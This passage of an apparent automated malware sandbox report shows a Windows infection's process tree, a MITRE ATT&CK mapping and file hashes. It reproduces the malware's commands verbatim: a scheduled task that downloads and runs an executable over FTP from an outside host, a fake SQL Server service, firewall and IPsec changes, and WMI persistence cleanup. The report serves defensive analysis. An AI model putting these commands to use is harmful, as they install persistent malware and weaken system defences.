    3⤵
    PID:6240
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.138292" /tr "C:\ProgramData\Microsoft\Windows\GameExplorer\Remote.hlp" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5344
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1452
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.2.131292" /tr "cmd /c echo open g.nxxxn.ga >>s&echo nvpxx169_mm>>s&echo qwe123!@#>>s&echo binary>>s&echo get SQLAGENTVHC.exe C:\Windows\SQLAGENTVHC.exe>>s&echo bye>>s&ftp -s:s&C:\Windows\SQLAGENTVHC.exe&del /f /a /q C:\Windows\system32\s" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6884
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1576
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.2.132292" /tr C:\Windows\SQLAGENTVHC.exe /sc onstart /ru System
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6652
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:7008
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.2.133394" /tr C:\Windows\Fonts\SQLAGENTSWE.exe /sc onstart /ru System
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6964
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:6768
- - C:\Windows\SysWOW64\cacls.exe
    cacls.exe "C:\Windows\Fonts\SQLAGENTSWE.exe" /e /t /P everyone:F
    3⤵
    PID:5608
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:6972
- - C:\Windows\SysWOW64\cacls.exe
    cacls.exe "C:\Windows\Fonts\SQLAGENTSWE.exe" /e /t /P system:F
    3⤵
    PID:6748
- - C:\Windows\Fonts\SQLAGENTSWE.exe
    "C:\Windows\Fonts\SQLAGENTSWE.exe" install "Microsoft.SQL.Server.1021.2" "C:\Windows\Fonts\SQLAGENTSWE.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:3104
- - C:\Windows\SysWOW64\sc.exe
    sc create "Microsoft.SQL.Server.1021.2" binpath= "C:\Windows\Fonts\SQLAGENTSWE.exe" displayname= "Microsoft.SQL.Server.1021.22" depend= Tcpip start= auto
    3⤵
    - Launches sc.exe
    PID:6900
- - C:\Windows\SysWOW64\sc.exe
    sc description "Microsoft.SQL.Server.1021.2" "Provides storage, processing and controlled access of data, and rapid transaction processing."
    3⤵
    - Launches sc.exe
    PID:7012
- - C:\Windows\Fonts\SQLAGENTSWE.exe
    "C:\Windows\Fonts\SQLAGENTSWE.exe" start "Microsoft.SQL.Server.1021.2"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:6840
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\TempUpdate1.bat
  2⤵
  PID:4876
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2560
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKlm\Software\Microsoft\Windows\CurrentVersion\Run /v "start" /f
    3⤵
    - Modifies registry key
    PID:4696
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKlm\Software\Microsoft\Windows\CurrentVersion\Run /v "start1" /f
    3⤵
    - Modifies registry key
    PID:6872
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "SHELL" /f
    3⤵
    PID:5564
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "SHELL1" /f
    3⤵
    PID:3328
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKLM\Software\wow6432node\Microsoft\Windows\CurrentVersion\Run /v "start" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4576
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKLM\Software\wow6432node\Microsoft\Windows\CurrentVersion\Run /v "start1" /f
    3⤵
    - Modifies registry key
    PID:1812
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static delete policy name=win
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:5456
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static delete filterlist name=Allowlist
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:5740
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static delete filterlist name=denylist
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:2536
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static delete filteraction name=allow
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:7116
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall delete rule name="tcp all" dir=in
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2500
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall delete rule name="deny tcp 445" dir=in
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:6832
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall delete rule name="deny tcp 139" dir=in
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1120
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall delete rule name="tcpall" dir=out
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:5612
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= auto
    3⤵
    - Launches sc.exe
    PID:6172
- - C:\Windows\SysWOW64\net.exe
    net start MpsSvc
    3⤵
    PID:4136
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start MpsSvc
      4⤵
      PID:6152
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set allprofiles state on
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:6976
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=0-65535 action=allow
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:6272
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="deny tcp 445" dir=in protocol=tcp localport=445 action=block
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:5060
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="deny tcp 139" dir=in protocol=tcp localport=139 action=block
    3⤵
    - Modifies Windows Firewall
    PID:7044
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="tcpall" dir=out protocol=tcp localport=0-65535 action=allow
    3⤵
    - Modifies Windows Firewall
    PID:5012
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add policy name=win
    3⤵
    PID:6408
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filterlist name=Allowlist
    3⤵
    PID:3672
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filterlist name=denylist
    3⤵
    PID:6924
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=135
    3⤵
    PID:6444
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=137
    3⤵
    PID:3424
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=138
    3⤵
    PID:6276
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=139
    3⤵
    PID:5412
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=445
    3⤵
    PID:2924
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filteraction name=Allow action=permit
    3⤵
    PID:6008
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filteraction name=deny action=block
    3⤵
    PID:2988
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add rule name=deny1 policy=win filterlist=denylist filteraction=deny
    3⤵
    PID:6716
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static set policy name=win assign=y
    3⤵
    PID:4596
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ver "
    3⤵
    PID:5140
- - C:\Windows\SysWOW64\find.exe
    find "5.1."
    3⤵
    PID:6248
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.1 -n 1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:6884
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckyoumm2_filter" DELETE
    3⤵
    PID:7088
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckyoumm2_consumer" DELETE
    3⤵
    PID:5204
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="Windows Events Filter" DELETE
    3⤵
    PID:768
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="Windows Events Consumer4" DELETE
    3⤵
    PID:1324
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="Windows Events Consumer" DELETE
    3⤵
    PID:4516
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='Windows Events Filter'" DELETE
    3⤵
    PID:2548
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckayoumm3" DELETE
    3⤵
    PID:4724
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckyoumm4" DELETE
    3⤵
    PID:5668
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskmgr.exe
  2⤵
  PID:3696
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:1420

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:1836

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:6548

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4596

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:3116

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:6712

C:\Windows\system32\cmd.exe
cmd
1⤵
PID:6912

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:1004

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:1244

C:\Windows\Fonts\SQLAGENTSWE.exe
C:\Windows\Fonts\SQLAGENTSWE.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:6020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:6304

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XHB6WCAO.htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\9D1I77B7\XHB6WCAO.htm
Size 28KB
SHA256 1e76fd5d39c6e4e5f653ba57be91ce63bbb8e903e0a1be12ba906e5ef8d1e225
MD5 90ae8db63d23df362b7ba2d04ab2b483
SHA1 de6f7b406a8e316266b3789f93443260eadae84a
SHA512 50514bd6c891ef225281ddcbc09a89ab569f0c1657e13704bbeee7ad41beeff84aab878cbe15cc20ff9f37f5ea4d0ccc319bfe941627be2d347a9b826bf522ca
SSDEEP 384:cEkwodT8VG8zbdoylitKZPNacYqIUVGkY7jovLpxgsO5P:cEkwodT8hUtQPgvPCY/+9ql
TLSH
T1C7D25095C6B354127597D0B86BE67B183261801BCE47DC8CBFCC994C4FC8E9196E33AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TempUpdate.bat

Path C:\Users\Admin\AppData\Local\TempUpdate.bat
Size 2KB
SHA256 e609f438ddef229167e8b626ab42b078e4cf163f5bf64448adeea08b9dc78f29
MD5 46a9f47845da1aea9079074acfd5de22
SHA1 0a4813abd7ccc8540d9affe96a0d0766ed04fd3a
SHA512 f82d62df130c148adad9affb60f04741bbd02e194ddc042e715dc9747977afdb59a1e827e5b813f7537c66f01f12cf11e6deb2242e12bb19a280ad1b960ca6a2
TLSH
T191514A6AF200C9929845B46632E56903BF38954726E1CF54069D803EB1CB7ED83BF7B2
MD5 SHA1 SHA512 TLSH

Submit Download

TempUpdate1.bat

Path C:\Users\Admin\AppData\Local\TempUpdate1.bat
Size 4KB
SHA256 9733dfc351e465b11591de03ec0b167724c8b6d6b1d91c6bc37b3ac0b97f39ad
MD5 433689e4a05b7523471755e3a650511b
SHA1 836f1d30810524b34cd0ef2b354d9b5b33a91034
SHA512 069d0573defcb4d7eb4c19a9bfc30792dfbabca1ab33b9f89995c1ad60f8a40d311948fe799773befacf6566ccf5f154859c8fbbd5efabb66d1fe719ecd94128
SSDEEP 48:W1jp0Jp05/pUyD5xZY2vedaWaoa9ayapFYL5ceVZ9AGAZAdApOA5QALYAVASACAt:W1juu/przuZ76lhynGKnGx
TLSH
T1A4A101056C59A99086CBA733FF13139710B4F5EE36643C893F8DB85ABCA3195C6134DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TempUpdate2.bat

Path C:\Users\Admin\AppData\Local\TempUpdate2.bat
Size 26KB
SHA256 ee0279ddc0d862fef6681266d6606610e48a75b24115978da5fce0be021a0bbe
MD5 e036a67c62e23322d319a434b21a1abb
SHA1 1f17415b94489df52bf42d044db6cee7f32d1a06
SHA512 69d1af93a80a281666accb8f2053977e4292963b28ae827abaa9af10af2439a6e3da6f2ae9c613becbb19a6a174937129f251114daff91bace3855c385714f8d
SSDEEP 192:PRTZPjv77BhppGalNjLGn3mO3IuixQvilne5Yji1cxDsaQ1j9wX4NIsNLhsAMRW5:XosaGNy2Cp
TLSH
T18EC28865CA33D242D282B4B2924E1502F22AD5B3E524A11023C9553EF857939FBFBBDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VBS.vbs

Path C:\Users\Admin\AppData\Local\Temp\VBS.vbs
Size 776B
SHA256 68d3c5e5f9d480ff8bffebc440cd6a736acfc99bb21e9d20346cd5c5e979b7f1
MD5 0bf199b81eaa6aba5f5a03dfca3e5f2d
SHA1 d77dbd0239c31798022eeb7eae639f15f1da833d
SHA512 bf6e98e8b47ed31700cba0a30a96ae51963a217406fb41a39bec5a898a89f96671e8828a8a6ff80b81b03d2ee71b9fc06f4f0f5297e5aead5654038b9024a1c7
TLSH
T15E019C01DE4D826D103057362573D049F7AA1517A3039DA9B9AAD6613F707686DB0E37
MD5 SHA1 SHA512 TLSH

Submit Download

SQLAGENTSWE.exe

Path C:\Windows\Fonts\SQLAGENTSWE.exe
Size 1.2MB
SHA256 c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63
MD5 353a4c06f8bb7e33f7259791b08588c1
SHA1 00c8e4e8caa122b63d1498d8b8359db39fd3416c
SHA512 31a01730eb7b618f2b0db88ba0408512c729d0de608dfba9877c59f41de63b100fe895bf6f9e385f13580311da04a5d79c7ca3698693a77060b433f44a4d6a4b
SSDEEP 24576:3mVJlc+HYsT+EQetbEnRNcFmWVBbQLv+orGM+kHOv:2y+HYsT+B92Tc+oaz
TLSH
T1F9555C23E15288B1D16862B122FB0B34AE79D7B21E318943E7D4CC747E62B71D72B15E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3104-43-0x0000000000A90000-0x0000000000A9B000-memory.dmp

Download

memory/4172-5-0x0000000010000000-0x0000000010009000-memory.dmp

Download

memory/4172-0-0x0000000000400000-0x0000000000553000-memory.dmp

Download

memory/4172-2-0x0000000000CC0000-0x0000000000CCB000-memory.dmp

Download

memory/4172-1-0x0000000000CC0000-0x0000000000CCB000-memory.dmp

Download

memory/6020-49-0x0000000002240000-0x000000000224B000-memory.dmp

Download

memory/6840-46-0x0000000000B20000-0x0000000000B2B000-memory.dmp

Download